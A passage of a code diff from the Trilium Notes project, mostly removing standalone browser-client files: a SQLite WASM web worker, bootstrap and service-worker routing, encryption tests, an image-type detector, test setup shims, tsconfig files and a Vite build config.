translationProvider = translationModule.default;
createConfiguredRouter = routesModule.createConfiguredRouter;
// Create instances
sqlProvider = new BrowserSqlProvider();
messagingProvider = new WorkerMessagingProvider();
console.log("[Worker] Lightweight modules loaded successfully");
}
/**
* Initialize SQLite WASM and load the core module.
* This happens once at worker startup.
*/
async function initialize(): Promise<void> {
if (initPromise) {
return initPromise; // Already initializing
}
if (initError) {
throw initError; // Failed before, don't retry
}
initPromise = (async () => {
try {
// First, load all modules dynamically
await loadModules();
console.log("[Worker] Initializing SQLite WASM...");
await sqlProvider!.initWasm();
// Try to install the SAHPool VFS (preferred: supports WAL, much faster)
let sahPoolAvailable = false;
try {
await sqlProvider!.installSahPool();
sahPoolAvailable = true;
} catch (e) {
console.warn("[Worker] SAHPool VFS not available, will fall back to legacy OPFS or in-memory:", e);
}
// Integration test mode is baked in at build time via the
// __TRILIUM_INTEGRATION_TEST__ Vite define (derived from the
// TRILIUM_INTEGRATION_TEST env var when the bundle was built).
const integrationTestMode = __TRILIUM_INTEGRATION_TEST__;
const dbName = "/trilium.db";
if (integrationTestMode === "memory") {
// Use OPFS for the DB in integration test mode so option changes
// (and any other writes) survive page reloads within a single test.
// Playwright gives each test a fresh BrowserContext, which means a
// fresh OPFS — so on the first worker init of a test we seed from
// the fixture, and subsequent inits in the same test reuse it.
await loadTestDatabase(sahPoolAvailable, dbName);
} else if (sahPoolAvailable) {
// SAHPool available — migrate from legacy OPFS if needed, then open
await migrateFromLegacyOpfs(dbName);
console.log("[Worker] SAHPool available, loading persistent database (WAL mode)...");
sqlProvider!.loadFromSahPool(dbName);
} else if (sqlProvider!.isOpfsAvailable()) {
// Fall back to legacy OPFS VFS (no WAL, slower writes).
// This only kicks in if SAHPool installation failed for some
// reason but SharedArrayBuffer + legacy OPFS are both available.
console.warn("[Worker] SAHPool unavailable; using legacy OPFS VFS (no WAL mode).");
sqlProvider!.loadFromOpfs(dbName);
} else {
// Fall back to in-memory database (non-persistent).
// SAHPool only needs a Worker + OPFS API, so reaching this
// branch means the environment lacks OPFS entirely.
console.warn("[Worker] OPFS not available, using in-memory database (data will not persist)");
sqlProvider!.loadFromMemory();
}
console.log("[Worker] Database loaded");
console.log("[Worker] Loading @triliumnext/core...");
const schemaModule = await import("@triliumnext/core/src/assets/schema.sql?raw");
coreModule = await import("@triliumnext/core");
// Initialize log service with OPFS persistence
const logService = new StandaloneLogService();
await logService.initialize();
console.log("[Worker] Log service initialized with OPFS");
await coreModule.initializeCore({
executionContext: new BrowserExecutionContext(),
crypto: new BrowserCryptoProvider(),
zip: new BrowserZipProvider(),
zipExportProviderFactory: (await import("./lightweight/zip_export_provider_factory.js")).standaloneZipExportProviderFactory,
messaging: messagingProvider!,
request: new FetchRequestProvider(),
platform: new StandalonePlatformProvider(queryString),
log: logService,
backup: new StandaloneBackupService(coreModule!.options),
translations: translationProvider,
schema: schemaModule.default,
getDemoArchive: async () => {
const response = await fetch("/server-assets/db/demo.zip");
if (!response.ok) return null;
return new Uint8Array(await response.arrayBuffer());
},
image: (await import("./services/image_provider.js")).standaloneImageProvider,
dbConfig: {
provider: sqlProvider!,
isReadOnly: false,
onTransactionCommit: () => {
coreModule?.ws.sendTransactionEntityChangesToAllClients();
},
onTransactionRollback: () => {
// No-op for now
}
}
});
coreModule.ws.init();
console.log("[Worker] Supported routes", Object.keys(coreModule.routes));
// Create and configure the router
router = createConfiguredRouter();
console.log("[Worker] Router configured");
// initializeDb runs initDbConnection inside an execution context,
// which resolves dbReady — required before beccaLoaded can settle.
coreModule.sql_init.initializeDb();
if (coreModule.sql_init.isDbInitialized()) {
console.log("[Worker] Database already initialized, loading becca...");
await coreModule.becca_loader.beccaLoaded;
// `initTranslations` runs before `initSql` inside `initializeCore`
// (options_init needs translations, creating a chicken-and-egg),
// so it always defaults to "en" on a fresh worker boot. Now that
// the DB is up we can read the real locale and, if it differs,
// switch i18next and rebuild the hidden subtree with the correct
// titles. This must happen BEFORE `startScheduler` registers its
// own `dbReady.then(checkHiddenSubtree)` so the scheduled rebuild
// sees the right language.
const dbLocale = coreModule.options.getOptionOrNull("locale");
if (dbLocale && dbLocale !== "en") {
console.log(`[Worker] Reconciling i18next locale to "${dbLocale}" from DB`);
await coreModule.i18n.changeLanguage(dbLocale);
}
} else {
console.log("[Worker] Database not initialized, skipping becca load (will be loaded during DB initialization)");
}
coreModule.scheduler.startScheduler();
console.log("[Worker] Initialization complete");
} catch (error) {
initError = error instanceof Error ? error : new Error(String(error));
console.error("[Worker] Initialization failed:", initError);
throw initError;
}
})();
return initPromise;
}
/**
* Ensure the worker is initialized before processing requests.
* Returns the router if initialization was successful.
*/
async function ensureInitialized() {
await initialize();
if (!router) {
throw new Error("Router not initialized");
}
return router;
}
interface LocalRequest {
method: string;
url: string;
body?: unknown;
headers?: Record<string, string>;
}
// Main dispatch
async function dispatch(request: LocalRequest) {
// Ensure initialization is complete and get the router
const appRouter = await ensureInitialized();
// Dispatch to the router
return appRouter.dispatch(request.method, request.url, request.body, request.headers);
}
// Wait for the INIT message before initializing so that queryString
// (which may contain ?integrationTest=memory for e2e) is available.
let initReceived = false;
self.onmessage = async (event) => {
const msg = event.data;
if (!msg) return;
if (msg.type === "INIT") {
queryString = msg.queryString || "";
if (!initReceived) {
initReceived = true;
console.log("[Worker] Starting initialization...");
initialize().catch(err => {
console.error("[Worker] Initialization failed:", err);
self.postMessage({
type: "WORKER_ERROR",
error: {
message: String(err?.message || err),
stack: err?.stack
}
});
});
}
return;
}
if (msg.type !== "LOCAL_REQUEST") return;
const { id, request } = msg;
try {
const response = await dispatch(request);
// Transfer body back (if any) - use options object for proper typing
(self as unknown as Worker).postMessage({
type: "LOCAL_RESPONSE",
id,
response
}, { transfer: response.body ? [response.body] : [] });
} catch (e) {
console.error("[Worker] Dispatch error:", e);
(self as unknown as Worker).postMessage({
type: "LOCAL_RESPONSE",
id,
error: String((e as Error)?.message || e)
});
}
};

View File

@@ -1,97 +0,0 @@
import { attachServiceWorkerBridge, startLocalServerWorker } from "./local-bridge.js";
async function waitForServiceWorkerControl(): Promise<void> {
if (!("serviceWorker" in navigator) || !navigator.serviceWorker) {
const isSecure = location.protocol === "https:" || location.hostname === "localhost" || location.hostname === "127.0.0.1";
const hints: string[] = [];
if (!isSecure) {
hints.push(`The page is served over ${location.protocol}//${location.hostname} which is not a secure context. Service workers require HTTPS (or localhost).`);
}
if (window.isSecureContext === false) {
hints.push("The browser reports this is not a secure context.");
}
throw new Error(
"Service workers are not available in this browser.\n\n" +
"Trilium standalone mode requires service workers to function.\n" +
(hints.length ? "\nPossible cause:\n- " + hints.join("\n- ") + "\n" : "") +
"\nTo fix this, access the application over HTTPS or via localhost."
);
}
// If already controlling, we're good
if (navigator.serviceWorker.controller) {
console.log("[Bootstrap] Service worker already controlling");
return;
}
console.log("[Bootstrap] Waiting for service worker to take control...");
// Register service worker
await navigator.serviceWorker.register("./sw.js", { scope: "/" });
// Wait for it to be ready (installed + activated)
await navigator.serviceWorker.ready;
// Check if we're now controlling
if (navigator.serviceWorker.controller) {
console.log("[Bootstrap] Service worker now controlling");
return;
}
// If not controlling yet, we need to reload the page for SW to take control
// This is standard PWA behavior on first install
console.log("[Bootstrap] Service worker installed but not controlling yet - reloading page");
// Wait a tiny bit for SW to fully activate
await new Promise(resolve => setTimeout(resolve, 100));
// Reload to let SW take control
window.location.reload();
// Throw to stop execution (page will reload)
throw new Error("Reloading for service worker activation");
}
async function bootstrap() {
/* fixes https://github.com/webpack/webpack/issues/10035 */
window.global = globalThis;
try {
// 1) Start local worker ASAP (so /bootstrap is fast)
startLocalServerWorker();
// 2) Bridge SW -> local worker
attachServiceWorkerBridge();
// 3) Wait for service worker to control the page (may reload on first install)
await waitForServiceWorkerControl();
await loadScripts();
} catch (err) {
// If error is from reload, it will stop here (page reloads)
// Otherwise, show error to user
if (err instanceof Error && err.message.includes("Reloading")) {
// Page is reloading, do nothing
return;
}
console.error("[Bootstrap] Fatal error:", err);
document.body.innerHTML = `
<div style="padding: 40px; max-width: 600px; margin: 0 auto; font-family: system-ui, sans-serif;">
<h1 style="color: #d32f2f;">Failed to Initialize</h1>
<p>The application failed to start. Please check the browser console for details.</p>
<pre style="background: #f5f5f5; padding: 16px; border-radius: 4px; overflow: auto; white-space: pre-wrap; word-wrap: break-word;">${err instanceof Error ? err.message : String(err)}</pre>
<button onclick="location.reload()" style="padding: 12px 24px; background: #1976d2; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 16px;">
Reload Page
</button>
</div>
`;
document.body.style.display = "block";
}
}
async function loadScripts() {
await import("../../client/src/index.js");
}
bootstrap();

View File

@@ -1,67 +0,0 @@
import { describe, it, expect } from "vitest";
import { data_encryption } from "@triliumnext/core";
// Note: BrowserCryptoProvider is already initialized via test_setup.ts
describe("data_encryption with BrowserCryptoProvider", () => {
it("should encrypt and decrypt ASCII text correctly", () => {
const key = new Uint8Array(16).fill(42);
const plainText = "Hello, World!";
const encrypted = data_encryption.encrypt(key, plainText);
expect(typeof encrypted).toBe("string");
expect(encrypted.length).toBeGreaterThan(0);
const decrypted = data_encryption.decryptString(key, encrypted);
expect(decrypted).toBe(plainText);
});
it("should encrypt and decrypt UTF-8 text correctly", () => {
const key = new Uint8Array(16).fill(42);
const plainText = "Привет мир! 你好世界! 🎉";
const encrypted = data_encryption.encrypt(key, plainText);
const decrypted = data_encryption.decryptString(key, encrypted);
expect(decrypted).toBe(plainText);
});
it("should encrypt and decrypt empty string", () => {
const key = new Uint8Array(16).fill(42);
const plainText = "";
const encrypted = data_encryption.encrypt(key, plainText);
const decrypted = data_encryption.decryptString(key, encrypted);
expect(decrypted).toBe(plainText);
});
it("should encrypt and decrypt binary data", () => {
const key = new Uint8Array(16).fill(42);
const plainData = new Uint8Array([0, 1, 2, 255, 128, 64]);
const encrypted = data_encryption.encrypt(key, plainData);
const decrypted = data_encryption.decrypt(key, encrypted);
expect(decrypted).toBeInstanceOf(Uint8Array);
expect(Array.from(decrypted as Uint8Array)).toEqual(Array.from(plainData));
});
it("should fail decryption with wrong key", () => {
const key1 = new Uint8Array(16).fill(42);
const key2 = new Uint8Array(16).fill(43);
const plainText = "Secret message";
const encrypted = data_encryption.encrypt(key1, plainText);
// decrypt returns false when digest doesn't match
const result = data_encryption.decrypt(key2, encrypted);
expect(result).toBe(false);
});
it("should handle large content", () => {
const key = new Uint8Array(16).fill(42);
const plainText = "x".repeat(100000);
const encrypted = data_encryption.encrypt(key, plainText);
const decrypted = data_encryption.decryptString(key, encrypted);
expect(decrypted).toBe(plainText);
});
});

View File

@@ -1,96 +0,0 @@
/**
* Standalone image provider implementation.
* Uses pure JavaScript for format detection without compression.
* Images are saved as-is without resizing.
*/
import type { ImageProvider, ImageFormat, ProcessedImage } from "@triliumnext/core";
/**
* Detect image type from buffer using magic bytes.
*/
function getImageTypeFromBuffer(buffer: Uint8Array): ImageFormat | null {
if (buffer.length < 12) {
return null;
}
// Check for SVG (text-based)
if (isSvg(buffer)) {
return { ext: "svg", mime: "image/svg+xml" };
}
// JPEG: FF D8 FF
if (buffer[0] === 0xff && buffer[1] === 0xd8 && buffer[2] === 0xff) {
return { ext: "jpg", mime: "image/jpeg" };
}
// PNG: 89 50 4E 47 0D 0A 1A 0A
if (
buffer[0] === 0x89 &&
buffer[1] === 0x50 &&
buffer[2] === 0x4e &&
buffer[3] === 0x47 &&
buffer[4] === 0x0d &&
buffer[5] === 0x0a &&
buffer[6] === 0x1a &&
buffer[7] === 0x0a
) {
return { ext: "png", mime: "image/png" };
}
// GIF: "GIF"
if (buffer[0] === 0x47 && buffer[1] === 0x49 && buffer[2] === 0x46) {
return { ext: "gif", mime: "image/gif" };
}
// WebP: RIFF....WEBP
if (
buffer[0] === 0x52 &&
buffer[1] === 0x49 &&
buffer[2] === 0x46 &&
buffer[3] === 0x46 &&
buffer[8] === 0x57 &&
buffer[9] === 0x45 &&
buffer[10] === 0x42 &&
buffer[11] === 0x50
) {
return { ext: "webp", mime: "image/webp" };
}
// BMP: "BM"
if (buffer[0] === 0x42 && buffer[1] === 0x4d) {
return { ext: "bmp", mime: "image/bmp" };
}
return null;
}
/**
* Check if buffer contains SVG content.
*/
function isSvg(buffer: Uint8Array): boolean {
const maxBytes = Math.min(buffer.length, 1000);
let str = "";
for (let i = 0; i < maxBytes; i++) {
str += String.fromCharCode(buffer[i]);
}
const trimmed = str.trim().toLowerCase();
return trimmed.startsWith("<svg") || (trimmed.startsWith("<?xml") && trimmed.includes("<svg"));
}
export const standaloneImageProvider: ImageProvider = {
getImageType(buffer: Uint8Array): ImageFormat | null {
return getImageTypeFromBuffer(buffer);
},
async processImage(buffer: Uint8Array, _originalName: string, _shrink: boolean): Promise<ProcessedImage> {
// Standalone doesn't do compression - just detect format and return original
const format = getImageTypeFromBuffer(buffer) || { ext: "dat", mime: "application/octet-stream" };
return {
buffer,
format
};
}
};

View File

@@ -1,196 +0,0 @@
// public/sw.js
const VERSION = "localserver-v1.4";
const STATIC_CACHE = `static-${VERSION}`;
// Check if running in dev mode (passed via URL parameter)
const isDev = true;
if (isDev) {
console.log('[Service Worker] Running in DEV mode - caching disabled');
}
// Adjust these to your routes:
const LOCAL_FIRST_PREFIXES = [
"/bootstrap",
"/api/",
"/sync/",
"/search/"
];
// Optional: basic precache list (keep small; you can expand later)
const PRECACHE_URLS = [
// "/",
// "/index.html",
// "/manifest.webmanifest",
// "/favicon.ico",
];
self.addEventListener("install", (event) => {
event.waitUntil((async () => {
// Skip precaching in dev mode
if (!isDev) {
const cache = await caches.open(STATIC_CACHE);
await cache.addAll(PRECACHE_URLS);
}
self.skipWaiting();
})());
});
self.addEventListener("activate", (event) => {
event.waitUntil((async () => {
// Cleanup old caches
const keys = await caches.keys();
await Promise.all(keys.map((k) => (k === STATIC_CACHE ? Promise.resolve() : caches.delete(k))));
await self.clients.claim();
})());
});
function isLocalFirst(url) {
return LOCAL_FIRST_PREFIXES.some((p) => url.pathname.startsWith(p));
}
async function cacheFirst(request) {
// In dev mode, always bypass cache
if (isDev) {
return fetch(request);
}
const cache = await caches.open(STATIC_CACHE);
const cached = await cache.match(request);
if (cached) return cached;
const fresh = await fetch(request);
// Cache only successful GETs
if (request.method === "GET" && fresh.ok) cache.put(request, fresh.clone());
return fresh;
}
async function networkFirst(request) {
// In dev mode, always bypass cache
if (isDev) {
return fetch(request);
}
const cache = await caches.open(STATIC_CACHE);
try {
const fresh = await fetch(request);
// Cache only successful GETs
if (request.method === "GET" && fresh.ok) cache.put(request, fresh.clone());
return fresh;
} catch (error) {
// Fallback to cache if network fails
const cached = await cache.match(request);
if (cached) return cached;
throw error;
}
}
async function forwardToClientLocalServer(request, _clientId) {
// Find the main app window to handle the request
// We must route to the main app (which has the local bridge), not iframes like PDF.js viewer
// @ts-expect-error - self.clients is valid in service worker context
const all = await self.clients.matchAll({ type: "window", includeUncontrolled: true });
// Find the main app window - it's the one NOT serving pdfjs or other embedded content
// The main app has the local bridge handler for LOCAL_FETCH messages
let client = all.find((c: { url: string }) => {
const url = new URL(c.url);
// Main app is at root or index.html, not in /pdfjs/ or other iframe paths
return !url.pathname.startsWith("/pdfjs/");
}) || null;
// If no main app window found, fall back to any available client
if (!client) {
client = all[0] || null;
}
// If no page is available, fall back to network
if (!client) return fetch(request);
const reqUrl = request.url;
const headersObj = {};
for (const [k, v] of request.headers.entries()) headersObj[k] = v;
const body = (request.method === "GET" || request.method === "HEAD")
? null
: await request.arrayBuffer();
const id = crypto.randomUUID();
const channel = new MessageChannel();
const responsePromise = new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
reject(new Error("Local server timeout"));
}, 30_000);
channel.port1.onmessage = (event) => {
clearTimeout(timeout);
resolve(event.data);
};
channel.port1.onmessageerror = () => {
clearTimeout(timeout);
reject(new Error("Local server message error"));
};
});
// Send to the client with a reply port
client.postMessage({
type: "LOCAL_FETCH",
id,
request: {
url: reqUrl,
method: request.method,
headers: headersObj,
body // ArrayBuffer or null
}
}, [channel.port2]);
const localResp = await responsePromise;
if (!localResp || localResp.type !== "LOCAL_FETCH_RESPONSE" || localResp.id !== id) {
// Protocol mismatch; fall back
return fetch(request);
}
// localResp.response: { status, headers, body }
const { status, headers, body: respBody } = localResp.response;
const respHeaders = new Headers();
if (headers) {
for (const [k, v] of Object.entries(headers)) respHeaders.set(k, String(v));
}
return new Response(respBody ? respBody : null, {
status: status || 200,
headers: respHeaders
});
}
self.addEventListener("fetch", (event) => {
const url = new URL(event.request.url);
// Only handle same-origin
if (url.origin !== self.location.origin) return;
// API-ish: local-first via bridge (must be checked before navigate handling,
// because export triggers a navigation to an /api/ URL)
if (isLocalFirst(url)) {
event.respondWith(forwardToClientLocalServer(event.request, event.clientId));
return;
}
// HTML files: network-first to ensure updates are reflected immediately
if (event.request.mode === "navigate" || url.pathname.endsWith(".html")) {
event.respondWith(networkFirst(event.request));
return;
}
// Static assets: cache-first for performance
if (event.request.method === "GET") {
event.respondWith(cacheFirst(event.request));
return;
}
// Default
event.respondWith(fetch(event.request));
});

View File

@@ -1,144 +0,0 @@
import { createRequire } from "node:module";
import { readFileSync } from "node:fs";
import { fileURLToPath } from "node:url";
import { initializeCore, options } from "@triliumnext/core";
import schemaSql from "@triliumnext/core/src/assets/schema.sql?raw";
import HappyDomHtmlParser from "happy-dom/lib/html-parser/HTMLParser.js";
import serverEnTranslations from "../../server/src/assets/translations/en/server.json";
import { beforeAll } from "vitest";
import StandaloneBackupService from "./lightweight/backup_provider.js";
import BrowserExecutionContext from "./lightweight/cls_provider.js";
import BrowserCryptoProvider from "./lightweight/crypto_provider.js";
import StandalonePlatformProvider from "./lightweight/platform_provider.js";
import BrowserSqlProvider from "./lightweight/sql_provider.js";
import BrowserZipProvider from "./lightweight/zip_provider.js";
import { standaloneImageProvider } from "./services/image_provider.js";
// =============================================================================
// SQLite WASM compatibility shims
// =============================================================================
// The @sqlite.org/sqlite-wasm package loads its .wasm via fetch, and its
// bundled `instantiateWasm` hook overrides any user-supplied alternative.
// Two things go wrong under vitest + happy-dom:
// 1. happy-dom's `fetch()` refuses `file://` URLs.
// 2. happy-dom installs its own Response global, which Node's
// `WebAssembly.instantiateStreaming` rejects ("Received an instance of
// Response" — it wants undici's Response).
// We intercept fetch for file:// URLs ourselves and force instantiateStreaming
// to fall back to the ArrayBuffer path.
const fileFetchCache = new Map<string, ArrayBuffer>();
function readFileAsArrayBuffer(url: string): ArrayBuffer {
let cached = fileFetchCache.get(url);
if (!cached) {
const bytes = readFileSync(fileURLToPath(url));
cached = bytes.buffer.slice(bytes.byteOffset, bytes.byteOffset + bytes.byteLength) as ArrayBuffer;
fileFetchCache.set(url, cached);
}
return cached;
}
const originalFetch = globalThis.fetch;
globalThis.fetch = (async (input: RequestInfo | URL, init?: RequestInit) => {
const url = typeof input === "string"
? input
: input instanceof URL
? input.href
: input.url;
if (url.startsWith("file://")) {
const body = readFileAsArrayBuffer(url);
return new Response(body, {
status: 200,
headers: { "Content-Type": "application/wasm" }
});
}
return originalFetch(input as RequestInfo, init);
}) as typeof fetch;
WebAssembly.instantiateStreaming = (async (source, importObject) => {
const response = await source;
const bytes = await response.arrayBuffer();
return WebAssembly.instantiate(bytes, importObject);
}) as typeof WebAssembly.instantiateStreaming;
// =============================================================================
// happy-dom HTMLParser spec compliance patch
// =============================================================================
// Per HTML5 parsing spec, a single U+000A LINE FEED immediately after a <pre>,
// <listing>, or <textarea> start tag must be ignored ("newlines at the start
// of pre blocks are ignored as an authoring convenience"). Real browsers and
// domino (which the server runtime uses via turnish) both implement this;
// happy-dom (as of 20.8.9) does not — it keeps the LF as a text node.
//
// That difference makes turnish's markdown export produce different output
// under happy-dom vs. production, breaking markdown.spec.ts > "exports jQuery
// code in table properly". Patch HTMLParser.parse to pre-process the string.
const LEADING_LF_IN_PRE_RE = /(<(?:pre|listing|textarea)\b[^>]*>)(\r\n|\r|\n)/gi;
const originalHtmlParserParse = (HappyDomHtmlParser as unknown as {
prototype: { parse(html: string, rootNode?: unknown): unknown };
}).prototype.parse;
(HappyDomHtmlParser as unknown as {
prototype: { parse(html: string, rootNode?: unknown): unknown };
}).prototype.parse = function (html: string, rootNode?: unknown) {
const patched = typeof html === "string"
? html.replace(LEADING_LF_IN_PRE_RE, "$1")
: html;
return originalHtmlParserParse.call(this, patched, rootNode);
};
// =============================================================================
// Core initialization for standalone-flavored tests
// =============================================================================
// Mirror what apps/server/spec/setup.ts does: load the pre-seeded integration
// fixture DB into an in-memory sqlite-wasm instance, then initialize core
// against it with the standalone (browser) providers. Each vitest worker gets
// a fresh copy because tests run in forks (per the default pool).
const require = createRequire(import.meta.url);
const fixtureDb = readFileSync(
require.resolve("@triliumnext/core/src/test/fixtures/document.db")
);
beforeAll(async () => {
const sqlProvider = new BrowserSqlProvider();
await sqlProvider.initWasm();
sqlProvider.loadFromBuffer(fixtureDb);
await initializeCore({
executionContext: new BrowserExecutionContext(),
crypto: new BrowserCryptoProvider(),
zip: new BrowserZipProvider(),
zipExportProviderFactory: (
await import("./lightweight/zip_export_provider_factory.js")
).standaloneZipExportProviderFactory,
// i18next must be wired up — keyboard_actions.ts and other modules
// call `t()` and throw if translations are missing. Inline the
// en/server.json resources via vite's JSON import so we don't need a
// backend in tests.
translations: async (i18nextInstance, locale) => {
await i18nextInstance.init({
lng: locale,
fallbackLng: "en",
ns: "server",
defaultNS: "server",
resources: {
en: { server: serverEnTranslations }
}
});
},
platform: new StandalonePlatformProvider(""),
backup: new StandaloneBackupService(options),
image: standaloneImageProvider,
schema: schemaSql,
dbConfig: {
provider: sqlProvider,
isReadOnly: false,
onTransactionCommit: () => {},
onTransactionRollback: () => {}
}
});
});

View File

@@ -1,26 +0,0 @@
{
"extends": "../../tsconfig.base.json",
"compilerOptions": {
"lib": [
"ES2022",
"dom",
"dom.iterable"
],
"skipLibCheck": true,
"types": [
"vite/client"
],
"jsx": "react-jsx",
"jsxImportSource": "preact"
},
"include": [
"src/**/*",
"../client/src/**/*"
],
"exclude": [
"src/**/*.spec.ts",
"src/**/*.test.ts",
"../client/src/**/*.spec.ts",
"../client/src/**/*.test.ts"
]
}

View File

@@ -1,7 +0,0 @@
{
"extends": "../../tsconfig.base.json",
"references": [
{ "path": "./tsconfig.app.json" },
{ "path": "./tsconfig.spec.json" }
]
}

View File

@@ -1,18 +0,0 @@
{
"extends": "../../tsconfig.base.json",
"compilerOptions": {
"lib": [
"ES2022",
"dom",
"dom.iterable"
],
"types": [
"vitest/globals",
"happy-dom"
]
},
"include": [
"src/**/*.spec.ts",
"src/**/*.test.ts"
]
}

View File

@@ -1,308 +0,0 @@
import fs from "fs";
import { join, resolve, sep } from "path";
import prefresh from "@prefresh/vite";
import { defineConfig, type Plugin } from "vite";
import { viteStaticCopy } from "vite-plugin-static-copy";
const clientAssets = ["assets", "stylesheets", "fonts", "translations"];
const isDev = process.env.NODE_ENV === "development";
// Watch client files and trigger reload in development
const clientWatchPlugin = () => ({
name: "client-watch",
configureServer(server: any) {
if (isDev) {
// Watch client source files (adjusted for new root)
server.watcher.add("../../client/src/**/*");
server.watcher.on("change", (file: string) => {
if (file.includes("../../client/src/")) {
server.ws.send({
type: "full-reload"
});
}
});
}
}
});
// Serve PDF.js files directly in dev mode to bypass SPA fallback
const pdfjsServePlugin = (): Plugin => ({
name: "pdfjs-serve",
configureServer(server) {
const pdfjsRoot = join(__dirname, "../../packages/pdfjs-viewer/dist");
server.middlewares.use((req, res, next) => {
if (!req.url?.startsWith("/pdfjs/")) {
return next();
}
// Map /pdfjs/web/... to dist/web/...
// Map /pdfjs/build/... to dist/build/...
// Strip query string (e.g., ?v=0.102.2) before resolving path
const urlWithoutQuery = req.url.split("?")[0];
const relativePath = urlWithoutQuery.replace(/^\/pdfjs\//, "");
const filePath = join(pdfjsRoot, relativePath);
// Security: resolve both paths to prevent prefix-collision attacks
// (e.g. pdfjsRoot="/foo/bar" matching "/foo/bar2/evil.js")
const resolvedRoot = resolve(pdfjsRoot);
const resolvedFilePath = resolve(filePath);
if (!resolvedFilePath.startsWith(resolvedRoot + sep)) {
return next();
}
if (fs.existsSync(filePath) && fs.statSync(filePath).isFile()) {
const ext = filePath.split(".").pop() || "";
const mimeTypes: Record<string, string> = {
html: "text/html",
css: "text/css",
js: "application/javascript",
mjs: "application/javascript",
wasm: "application/wasm",
png: "image/png",
svg: "image/svg+xml",
json: "application/json"
};
res.setHeader("Content-Type", mimeTypes[ext] || "application/octet-stream");
// Match isolation headers from main page for iframe compatibility
res.setHeader("Cross-Origin-Opener-Policy", "same-origin");
res.setHeader("Cross-Origin-Embedder-Policy", "require-corp");
fs.createReadStream(filePath).pipe(res);
} else {
next();
}
});
}
});
// Always copy SQLite WASM files so they're available to the module
const sqliteWasmPlugin = viteStaticCopy({
targets: [
{
src: "../../../node_modules/@sqlite.org/sqlite-wasm/sqlite-wasm/jswasm/sqlite3.wasm",
dest: "assets",
rename: { stripBase: true }
},
{
src: "../../../node_modules/@sqlite.org/sqlite-wasm/sqlite-wasm/jswasm/sqlite3-opfs-async-proxy.js",
dest: "assets",
rename: { stripBase: true }
}
]
});
let plugins: any = [
sqliteWasmPlugin, // Always include SQLite WASM files
viteStaticCopy({
targets: clientAssets.map((asset) => ({
src: `../../client/src/${asset}/**/*`,
dest: asset,
rename: { stripBase: 3 }
})),
// Enable watching in development
...(isDev && {
watch: {
reloadPageOnChange: true
}
})
}),
viteStaticCopy({
targets: [
{
src: "../../server/src/assets/**/*",
dest: "server-assets",
rename: { stripBase: 3 }
}
]
}),
// PDF.js viewer for PDF preview support
// stripBase: 4 removes packages/pdfjs-viewer/dist/web (or /build)
viteStaticCopy({
targets: [
{
src: "../../../packages/pdfjs-viewer/dist/web/**/*",
dest: "pdfjs/web",
rename: { stripBase: 4 }
},
{
src: "../../../packages/pdfjs-viewer/dist/build/**/*",
dest: "pdfjs/build",
rename: { stripBase: 4 }
}
]
}),
// Watch client files for changes in development
...(isDev ? [
prefresh(),
clientWatchPlugin(),
pdfjsServePlugin()
] : [])
];
if (!isDev) {
plugins = [
...plugins,
viteStaticCopy({
targets: [
{
src: "../../../node_modules/@excalidraw/excalidraw/dist/prod/fonts/**/*",
dest: "",
}
]
})
]
}
// Include the integration test fixture database for e2e tests
if (process.env.TRILIUM_INTEGRATION_TEST) {
plugins = [
...plugins,
viteStaticCopy({
targets: [
{
// Forward slashes are required because fast-glob (used
// internally) treats backslashes as escape characters on
// Windows. `stripBase` drops the source's directory
// structure so the file lands flat at `test-fixtures/document.db`
// rather than mirroring the `packages/trilium-core/...` path.
src: join(__dirname, "../../packages/trilium-core/src/test/fixtures/document.db").replace(/\\/g, "/"),
dest: "test-fixtures",
rename: { stripBase: true }
}
]
})
]
}
export default defineConfig(() => ({
root: join(__dirname, 'src'), // Set src as root so index.html is served from /
envDir: __dirname, // Load .env files from client-standalone directory, not src/
cacheDir: '../../../node_modules/.vite/apps/client-standalone',
base: "",
plugins,
esbuild: {
jsx: 'automatic',
jsxImportSource: 'preact',
jsxDev: isDev
},
css: {
transformer: 'lightningcss',
devSourcemap: isDev
},
publicDir: join(__dirname, 'public'),
resolve: {
alias: [
{
find: "react",
replacement: "preact/compat"
},
{
find: "react-dom",
replacement: "preact/compat"
},
{
find: "@client",
replacement: join(__dirname, "../client/src")
}
],
dedupe: [
"react",
"react-dom",
"preact",
"preact/compat",
"preact/hooks"
]
},
server: {
watch: {
// Watch workspace packages
ignored: ['!**/node_modules/@triliumnext/**'],
// Also watch client assets for live reload
usePolling: false,
interval: 100,
binaryInterval: 300
},
// Watch additional directories for changes
fs: {
allow: [
// Allow access to workspace root
'../../../',
// Explicitly allow client directory
'../../client/src/'
]
},
headers: {
// Required for SharedArrayBuffer which is needed by SQLite WASM OPFS VFS
// See: https://sqlite.org/wasm/doc/trunk/persistence.md#coop-coep
"Cross-Origin-Opener-Policy": "same-origin",
"Cross-Origin-Embedder-Policy": "require-corp"
}
},
preview: {
headers: {
"Cross-Origin-Opener-Policy": "same-origin",
"Cross-Origin-Embedder-Policy": "require-corp"
}
},
optimizeDeps: {
exclude: ['@sqlite.org/sqlite-wasm', '@triliumnext/core']
},
worker: {
format: "es" as const
},
commonjsOptions: {
transformMixedEsModules: true,
},
build: {
target: "esnext",
outDir: join(__dirname, 'dist'),
emptyOutDir: true,
rollupOptions: {
input: {
main: join(__dirname, 'src', 'index.html'),
sw: join(__dirname, 'src', 'sw.ts'),
'local-bridge': join(__dirname, 'src', 'local-bridge.ts'),
},
output: {
entryFileNames: (chunkInfo) => {
// Service worker and other workers should be at root level
if (chunkInfo.name === 'sw') {
return '[name].js';
}
return 'src/[name].js';
},
chunkFileNames: "src/[name].js",
assetFileNames: "src/[name].[ext]"
}
}
},
test: {
environment: "happy-dom",
setupFiles: [join(__dirname, "src/test_setup.ts")],
dir: join(__dirname),
include: [
"src/**/*.{test,spec}.{ts,tsx}",
"../../packages/trilium-core/src/**/*.{test,spec}.{ts,tsx}"
],
server: {
deps: {
inline: ["@sqlite.org/sqlite-wasm"]
}
},
alias: {
// The package's `node.mjs` entry references a non-existent
// `sqlite3-node.mjs`. Force the browser-style entry which works
// under Node + happy-dom too.
"@sqlite.org/sqlite-wasm": join(
__dirname,
"../../node_modules/@sqlite.org/sqlite-wasm/index.mjs"
)
}
},
define: {
"process.env.IS_PREACT": JSON.stringify("true"),
__TRILIUM_INTEGRATION_TEST__: JSON.stringify(process.env.TRILIUM_INTEGRATION_TEST ?? ""),
}
}));

View File

@@ -34,14 +34,14 @@
"@triliumnext/highlightjs": "workspace:*",
"@triliumnext/share-theme": "workspace:*",
"@triliumnext/split.js": "workspace:*",
"@univerjs/preset-sheets-conditional-formatting": "0.20.1",
